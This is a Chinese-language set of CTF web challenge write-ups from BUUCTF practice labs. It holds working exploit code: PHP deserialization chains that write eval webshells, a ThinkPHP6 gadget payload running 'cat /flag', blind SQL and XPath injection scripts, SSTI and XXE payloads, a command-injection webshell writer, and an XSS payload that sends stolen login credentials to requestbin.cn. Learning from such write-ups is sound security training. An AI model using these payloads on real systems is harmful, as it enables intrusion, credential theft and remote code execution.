第五页
目录
[[EIS 2019]EzPOP](#[EIS 2019]EzPOP)
[[WMCTF2020]Make PHP Great Again 2.0](#[WMCTF2020]Make PHP Great Again 2.0)
[[BSidesCF 2020]Hurdles](#[BSidesCF 2020]Hurdles)
[[安洵杯 2019]iamthinking](#[安洵杯 2019]iamthinking)
[[GWCTF 2019]mypassword](#[GWCTF 2019]mypassword)
[[NewStarCTF 2023 公开赛道]include 0。0](#[NewStarCTF 2023 公开赛道]include 0。0)
[[Black Watch 入群题]Web](#[Black Watch 入群题]Web)
[[GWCTF 2019]你的名字](#[GWCTF 2019]你的名字)
[[GoogleCTF2019 Quals]Bnv](#[GoogleCTF2019 Quals]Bnv)
[[RoarCTF 2019]Simple Upload](#[RoarCTF 2019]Simple Upload)
[[羊城杯 2020]Easyphp2](#[羊城杯 2020]Easyphp2)
[[NewStarCTF 2023 公开赛道]Begin of HTTP](#[NewStarCTF 2023 公开赛道]Begin of HTTP)
[[NESTCTF 2019]Love Math 2](#[NESTCTF 2019]Love Math 2)
[[NewStarCTF 2023 公开赛道]ez_sql](#[NewStarCTF 2023 公开赛道]ez_sql)
[[DDCTF 2019]homebrew event loop](#[DDCTF 2019]homebrew event loop)
[[羊城杯 2020]Blackcat](#[羊城杯 2020]Blackcat)
[[NewStarCTF 2023 公开赛道]Unserialize?](#[NewStarCTF 2023 公开赛道]Unserialize?)
[[GYCTF2020]Node Game](#[GYCTF2020]Node Game)
[[NewStarCTF 2023 公开赛道]泄漏的秘密](#[NewStarCTF 2023 公开赛道]泄漏的秘密)
[[HFCTF 2021 Final]easyflask](#[HFCTF 2021 Final]easyflask)
[[2020 新春红包题]1](#[2020 新春红包题]1)
[EIS 2019]EzPOP
给了源码了
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
B类分析

data反序列化,然后解题的点应该是这个

然后先找$data

来源与$value的序列化
------>使用set方法

expire=0
然后是filename
filename = this->getCacheKey($name);

expire变量调用了getExpireTime 这个函数,格式化为int类型
filename变量调用了getCacheKey这个函数,所以filename这个变量最终的值是和options['prefix']拼接而成,然后根据filename创建目录
A类分析:
array_filp()反转数组中所有的键以及它们关联的值
array_intersect_key()比较两个数组的键名,并返回交集

这里可以调用set方法且3个参数都有
那就是让store=new B()
__destruct方法调用save(),且autosace=false

ok,data = "\expire) . "\n exit();?>\n" . $data;这里是拼接了一个
<?php esit();?>
绕过:
由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以解码之后就剩php//exit了,9个字节,但是呢base64算法解码时是4个字节一组,所以我们还需要在前面加3个字符
符
base64就用filter:php://filter/write=convert.base64-decode/resource=
filename的由来:



这里的$name就是从A类的key传来的:
$key=1.php
options['prefix']=php://filter/write=convert.base64-decode/resource=
data的由来
data = "\expire) . "\n exit();?>\n" . $data;用base64绕

这个value是A中的content

我们可以构造cache这个变量为数组,然后经过两个函数的处理,我们可以控制complete这个变量为shell的数据,经过json_encode这个函数的处理之后,由于json格式的字符都不满足base64编码的要求,所以我们可以将数据进行base64编码绕过,也就是
A->complete=base64_encode('xxx',base64_encode('<?php @eval($_POST[1]);?>'))
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
data = gzcompress(data, 3);
}
这个不用就options['data_compress']=0
首先将shellcode进行base64编码使得base64decode的时候不会影响其内容,然后再次进行base64_encode是为了绕过死亡exit,由于解码之后只剩21个字符,所以这里需要自己添加三个字符,使得前面有24个字符可以base64正常解码不影响后面shell的执行
那么到这里data的内容也构造好了,可是我们发现
使用php伪协议只解了一次编码,而我们这里经历了两次base64编码
前面提到了一个serialize函数

就然serialize等于dencode
链子:
A::__destruct->save()->getForStorage()->cleanStorage()
--->B::set()->getExpireTime()和getCacheKey()+serialize()->file_put_contents写入shell
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->cache = array();
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST[1]);?>'));
$this->key = "1.php";
$this->store = new B();
$this->autosave = false;
$this->expire = 0;
}
}
class B{
public $options = array();
function __construct()
{
$this->options['serialize'] = 'base64_decode';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$this->options['data_compress'] = false;
}
}
echo urlencode(serialize(new A()));
O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A5%3A%221.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A52%3A%22eHh4UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3B%7D
然后get传参data就可以了
http://57d62027-6137-473e-a299-98df1ae1ab6e.node5.buuoj.cn:81/1.php
蚁剑连接

做完之后快上天了
[WMCTF2020]Make PHP Great Again 2.0
一毛一样啊


require-once如果包含过多软链接就会失效
/proc/self/
是/proc/[pid]/
的软链接,指向当前进程的/proc/[pid]
目录。/proc/self/root
是指向当前进程的 根目录(root directory) 的软链接
软链接的基本概念
- 软链接是一个独立的文件,它的内容只是一个路径字符串。
- 它指向另一个实际存在的文件或目录。
- 如果原文件被删除,软链接会变成"死链"(失效)
payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
[BSidesCF 2020]Hurdles

源码,抓包,robots.txt都没东西,看看这个 /hurdles

PUT访问

在结尾加个!
那就是/hurdles/!

get=flag

这里是让我们get提交 &=&=& 这个参数,直接bp写肯定不行的,我们就url编码:
%26%3D%26%3D%26

要等于%00加一个换行符(这里的另外一个'在下一行),还是url编码

需要认证,已知username=player
HTTP Basic Authentication
(HTTP 基本认证)是一种简单的、内置于 HTTP 协议中的用户身份验证机制。它的核心思想是:客户端在发送请求时,直接将用户名和密码附加在 HTTP 请求头中,以证明自己的身份
收到 401
响应后,客户端(或用户)会提示输入用户名和密码。一旦用户输入,客户端会执行以下操作:
- 拼接 :将用户名和密码用冒号连接,形成 username:password**。**
- 编码 :将这个字符串进行 Base64 编码 。
- 发送:将编码后的字符串放入 Authorization****请求头中,再次发送请求

Authorization: Basic cGxheWVyOnBsYXllcg==
然后这里提示密码是open sesame的md5加密
54ef36ec71201fdf9d1423fd26f97f6b
然后player:54ef36ec71201fdf9d1423fd26f97f6b base64加密:cGxheWVyOjU0ZWYzNmVjNzEyMDFmZGY5ZDE0MjNmZDI2Zjk3ZjZi

改UA头:

指定9000版本:

试试127.0.0.1

需要额外的代理转发 ,随便试试

X-Forwarded-For:13.37.13.37,127.0.0.1

要一个cookie,猜测名字就是Fortune

需要Cookie 中包含2011
年的RFC编号

6265

只接受纯文本(MIME)形式的请求 ,改accept:
MIME(纯文本)Accept:text/plain

不是,为什么有俄语,这还能是啥,accept-language吧


加Referer

发现不行,看了其他师傅的才知道这是origin参数

这个才是Referer

蚌埠住了
[安洵杯 2019]iamthinking

看到题目的thinking,感觉是thinkphp系类的
访问/public/

这里是www.jpg 那根据经验,可能有www.zip,<------还真有
看了看,这个是thinkphp6的漏洞,信息搜集一下脚本:
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key" => ["key1" => "cat /flag"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
$c = array($b);
echo urlencode(serialize($c));
payload:
a%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7D%7D%7D

[GWCTF 2019]mypassword
看到有个login.php,那猜测有个register

登陆后

这里有几个php文件

if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
然后登录界面有个代码:
if (document.cookie && document.cookie != '') { //Cookie是一个由该域名下的所有cookie的值对所组成的字符串,值对间以"分号加空格"分隔
var cookies = document.cookie.split('; '); //为了方便查看,可以使用split()方法将cookie中的值对解析出来,得到一个cookie的列表
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('='); // 解析出值
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw']; //返回页面中标签名属性为name的对象
}
}
然后就是脚本:
<inpcookieut type="text" name="username"></inpcookieut>
<inpcookieut type="text" name="password"></inpcookieut>
<scricookiept scookierc="./js/login.js"></scricookiept>
<scricookiept>
var uname = documcookieent.getElemcookieentsByName("username")[0].value;
var passwd = documcookieent.getElemcookieentsByName("password")[0].value;
var res = uname + " " + passwd;
documcookieent.locacookietion="http://requestbin.cn:80/172on5c1/?a="+res;
</scricookiept>
网站的话是这个:RequestBin --- Collect, inspect and debug HTTP requests and webhooks
(我看其他人都是用buu的404 Not Found,那是那个现在好像没了)
反正就是最后

会在右侧的那列显示出来,但是由于这个是外网,buu的到不了
[HFCTF2020]BabyUpload
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
flag的条件:

username=admin 然后 filename存在
php的session默认存储文件名都是sess_+PHPSESSID这种格式

sess_0fd2328704907ad5af435d3fee590700

可以看到session的形式:

所以这里为第二种
脚本:
import hashlib
from io import BytesIO
import requests
url = 'http://302f206a-db2d-42fe-8d6e-52317003d9f9.node5.buuoj.cn:81/index.php'
# 第一步:上传伪造的session文件
files = {"up_file": ("sess", BytesIO('\x08usernames:5:"admin";'.encode('utf-8')))}
data = {
'direction':'upload',
'attr':''
}
res = requests.post(url, data=data ,files=files)
# 第二步:获取后面请求时的session_id
session_id = hashlib.sha256('\x08usernames:5:"admin";'.encode('utf-8')).hexdigest()
# 第三步:在/var/babyctf/下创建success.txt目录
data1 = {
'attr': 'success.txt',
'direction': 'upload'
}
res1 = requests.post(url=url, data=data1, files=files)
# 第四步:通过上面获取的session_id发起请求,获取flag
cookie = {
'PHPSESSID':session_id
}
flag_res = requests.post(url,cookies = cookie)
print(flag_res.text)
这里解释一下,具体做法就是因为我们的session需要username=admin
我们通过

这一段的文件上传把我们伪造的session传上去,然后根据

来确定sess_后面的值(就是确定我们要访问到这个伪造session的PHPSESSID)
然后就是要创建一个success.txt文件
最后就是让PHPSESSID=我们计算好的值,让他验证的时后指向我们构造的session文件


[NewStarCTF 2023 公开赛道]include 0。0
文件包含的其他姿势

文件包含,但是base系列和rot系列不让用,那就用其他的:
php://filter/convert.iconv.utf-8.utf-7/resource=<目标文件名> //将utf8编码转换utf7编码
php://filter/convert.iconv.utf8.utf16/resource=<目标文件名> //将utf8编码转换utf16编码

然后替换成{}就ok
[SWPU2019]Web4
抓包看看:

这里我的username是123;,显示202,那就是存在堆叠注入
由于过滤了select,if,sleep,substr等大多数注入常见的单词,但是注入又不得不使用其中的某些单词。那么在这里我们就可以用
16进制+mysql预处理来绕过
脚本:
#author: c1e4r
import requests
import json
import time
def main():
#题目地址
url = '''http://9fa24a69-9699-4c20-9e76-2b6b6616747e.node5.buuoj.cn:81/index.php?r=Login/Login'''
#注入payload
payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
#将构造好的payload进行16进制转码和json转码
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
if __name__ == '__main__':
main()

然后注入出来了:glzjin_wants_a_girl_friend.zip
那就是源码咯,审计一下:

这里有一个extract变量覆盖,然后flag是在flag.php中,然后我们去看看哪里用到了这个loadView
而且第二个参数可控

这里userIndex 的 ListData参数,即_REQUEST

入口就是这个img_file了,那就用post提交
然后看这个传参:
index.php?r=Login/Index

那就Login是Model的,Index是View那个的,所以就是User/Index



[PASECA2019]honey_shop
买flag

jwt:

那就是1336改成1337,但是我们要知道session的私钥

这里就一个/download

发现是可以目录遍历的
嗯然后想要私钥,试试环境变量
/proc/self/environ

SECRET_KEY=y9H8e6KIN8003UaB4Mga7EgU8ij4Z9dWoIb1xFP3
脚本:
from flask.sessions import SecureCookieSessionInterface
import ast
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
def encrypt_flask_session(secret_key, session_data):
"""加密Flask会话数据"""
try:
app = MockApp(secret_key)
session_data = dict(ast.literal_eval(session_data))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_data)
except Exception as e:
raise Exception(f"[Encoding error] {e}")
# 示例用法
session_data = "{'balance': 1339, 'purchases': []}"
secret_key = "y9H8e6KIN8003UaB4Mga7EgU8ij4Z9dWoIb1xFP3" # 替换为Flask应用的实际SECRET_KEY
try:
encrypted_cookie = encrypt_flask_session(secret_key, session_data)
print(encrypted_cookie)
except Exception as e:
print(e)
eyJiYWxhbmNlIjoxMzM5LCJwdXJjaGFzZXMiOltdfQ.aJgNCg.xx0eWP4ksskQHeI4LO4rBBS9K94

[Black Watch 入群题]Web
看看给的两个页面:

这里可以控制id的参数来变化

json格式
脚本:
import time
import re
import requests
import string
url = "http://17485d53-c01f-410b-96ea-45e5000e6600.node5.buuoj.cn:81/backend/content_detail.php"
flag = ''
def payload(i, j):
time.sleep(0.2)
# 数据库名字
#sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
# 表名
#sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),%d,1))>%d)^1"%(i,j)
# 字段名
#sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),%d,1))>%d)^1"%(i,j)
# 查询flag
sql = "1^(ord(substr((select(group_concat(password/username))from(admin)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
if "title" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=', flag)
username:aef068bb,1da4a5fc
password:e66dc419,6c165f7c

[GWCTF 2019]你的名字
ssti{{}}过滤

这里用这个发现ban了,那么极有可能是ssti
{{}}不能用,但是可以用{%%}
{% print lipsum%}

这个模块可以用
{%print lipsum.globals['bui'+'ltins']['im'+'port']('o'+'s')['po'+'pen']('tac /flag_1s_Hera
').read()%}
[GoogleCTF2019 Quals]Bnv
本地DTD与XXE
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例
没思路,看了其他师傅的这个是一个本地xxe

这里是json格式,改成xml格式:

payload:
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>

Arseniy Sharoglazov: 3 posts tagged XXE

就是说我们在尝试远程DTD的时候是发现被禁止了
解析
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
- 声明一个参数实体
%local_dtd
,它会从本地文件系统加载 DTD 文件/usr/share/yelp/dtd/docbookx.dtd
。 - 目的是引入一个合法的 DTD 文件,让 XML 解析器"信任"这个文档是"合法"的,从而允许后续实体解析。
- 有些 XML 解析器会阻止没有 DTD 的 XXE 攻击,所以引入一个真实存在的 DTD 可绕过某些防护。
<!ENTITY % ISOamso '...'
- 定义另一个参数实体
%ISOamso
,其内容是一段嵌套的 DTD 代码。 - 注意:
%ISOamso
是一个内部参数实体,其内容被包裹在单引号中。
在 %ISOamso
内部:
<!ENTITY % file SYSTEM "file:///flag">
-
-
%
是%
的 HTML 实体编码(十六进制 25 =%
)。- 所以这行等价于:xml
- <!ENTITY % file SYSTEM "file:///flag">
- 定义一个参数实体
%file
,其值为/flag
文件的内容。
-
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaaaa/%file;'>">
-
-
&
是&
的 HTML 实体编码。- 所以这行等价于:xml
- <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaaaa/%file;'>">
- 这是一个"嵌套实体":
%eval
会定义另一个实体%error
,它的 SYSTEM URI 中包含了%file
的值(即/flag
的内容)。
-
%eval;
和 %error;
-
-
- 等价于
%eval;
和%error;
。 - 当
%ISOamso;
被调用时,会执行%eval;
,从而触发%error
的定义。 %error
的 SYSTEM URI 变成了:- file:///aaaaa/<内容来自 /flag>
- 如果
/flag
的内容是hello
,那么最终 URI 是: - file:///aaaaa/hello
- 由于这个路径不存在,某些 XML 解析器会抛出错误,并在错误信息中包含这个非法路径,从而泄露
/flag
文件的内容。
- 等价于
-
[NPUCTF2020]ezlogin
XPath注入

抓包完是这样的,xml格式啊
发现这题是XPath注入
之前没搞过,
首先先判断根节点
'or count(/)=2 or ''='
'or count(/)=1 or ''='

脚本:
import requests
import re
import time
session = requests.session()
url = "http://e396ba63-2043-4878-9ead-d5382673d9ee.node5.buuoj.cn:81/"
chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
head = {
'Content-Type': 'application/xml',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
}
find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)
result = ""
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
def get_token(): #获取token的函数
resp = session.get(url=url) #如果在这里用headers会得到超时的界面
token = find.findall(resp.text)[0]
#print(token)
return token
for x in range(1,100):
for char in chars:
time.sleep(0.2)
token = get_token()
playload = payload_password.format(x, char, token) #根据上面的playload来改
#print(playload)
resp = session.post(url=url,headers=head, data=playload)
#print(resp.text)
if "非法操作" in resp.text:
result += char
print(result)
break
if "用户名或密码错误" in resp.text:
break
print(result)
结构就是username=adm1n
密码的md5是 cf7414b5bdb2e65ee43083f4ddbc4d9f,解密得到gtfly123
登陆后:

有个file参数,然后源码有个base64加密的:

用filter:
?file=Php://filter/Read=convert.Base64-encode/resource=/flag
这里大写绕过:
得:
ZmxhZ3tmNzZmZTJkOC01NTI2LTQxYzktYmE4Ny05MGYyNTk3MGRmZDJ9Cg==
base64解密得flag
[RoarCTF 2019]Simple Upload
strip_tags绕过
源码:

这里有个strip_tags

去标记,那可以直接1.<>php
然后去看官方的文档,推出upload的url
index.php/home/index/upload
脚本:
import requests
url = "http://a3a8a3e9-d36f-4f2d-8f35-c2ef91e11ce7.node5.buuoj.cn:81//index.php/home/index/upload"
files={'file':('1.<>php',"<?php eval($_GET['cmd'])?>")}
r=requests.post(url=url,files=files)
print(r.text)

然后这里发现一访问就出flag了

[羊城杯 2020]Easyphp2
exec写马
嗯,看了以为是考改包,但是发现有个file参数

看看robots.txt
有个

尝试filter读取,发现有过滤,大小写尝试不行,试试url二次编码
?file=php://filter/read=%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2565%256E%2563%256F%2564%2565/resource=check.php

ok,知道改什么了


然后我们读一下GWHT.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>count is here</title>
<style>
html,
body {
overflow: none;
max-height: 100vh;
}
</style>
</head>
<body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;">
<center><img src="question.jpg" height="200" width="200" /> </center>
<?php
ini_set('max_execution_time', 5);
if ($_COOKIE['pass'] !== getenv('PASS')) {
setcookie('pass', 'PASS');
die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>
<h1>A Counter is here, but it has someting wrong</h1>
<form>
<input type="hidden" value="GWHT.php" name="file">
<textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
<input type="submit">
</form>
<?php
if (isset($_GET["count"])) {
$count = $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
die('hacker!');
}
echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>
</body>
</html>
这里有个exec函数,估计是写马
'&echo+"<?=@eval(\$_POST[1])?>">1.php&'
'%26echo+"<?=@eval(\$_POST[1])?>">1.php%26'
然后蚁剑连接

这里有个flag.txt,但是读不了


[XNUCA2019Qualifier]EasyPHP
.hatccess脏字符
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
这题用.htaccess
?content=php_value auto_prepend_fi\
le .htaccess
#<?php system('cat /fl*');?>\&filename=.htaccess
[NewStarCTF 2023 公开赛道]Begin of HTTP
比较简单:

virink_2019_files_share
....//绕过
抓包:

这里有个/uploads/favicon.ico

然后点击priview发现有个f参数:


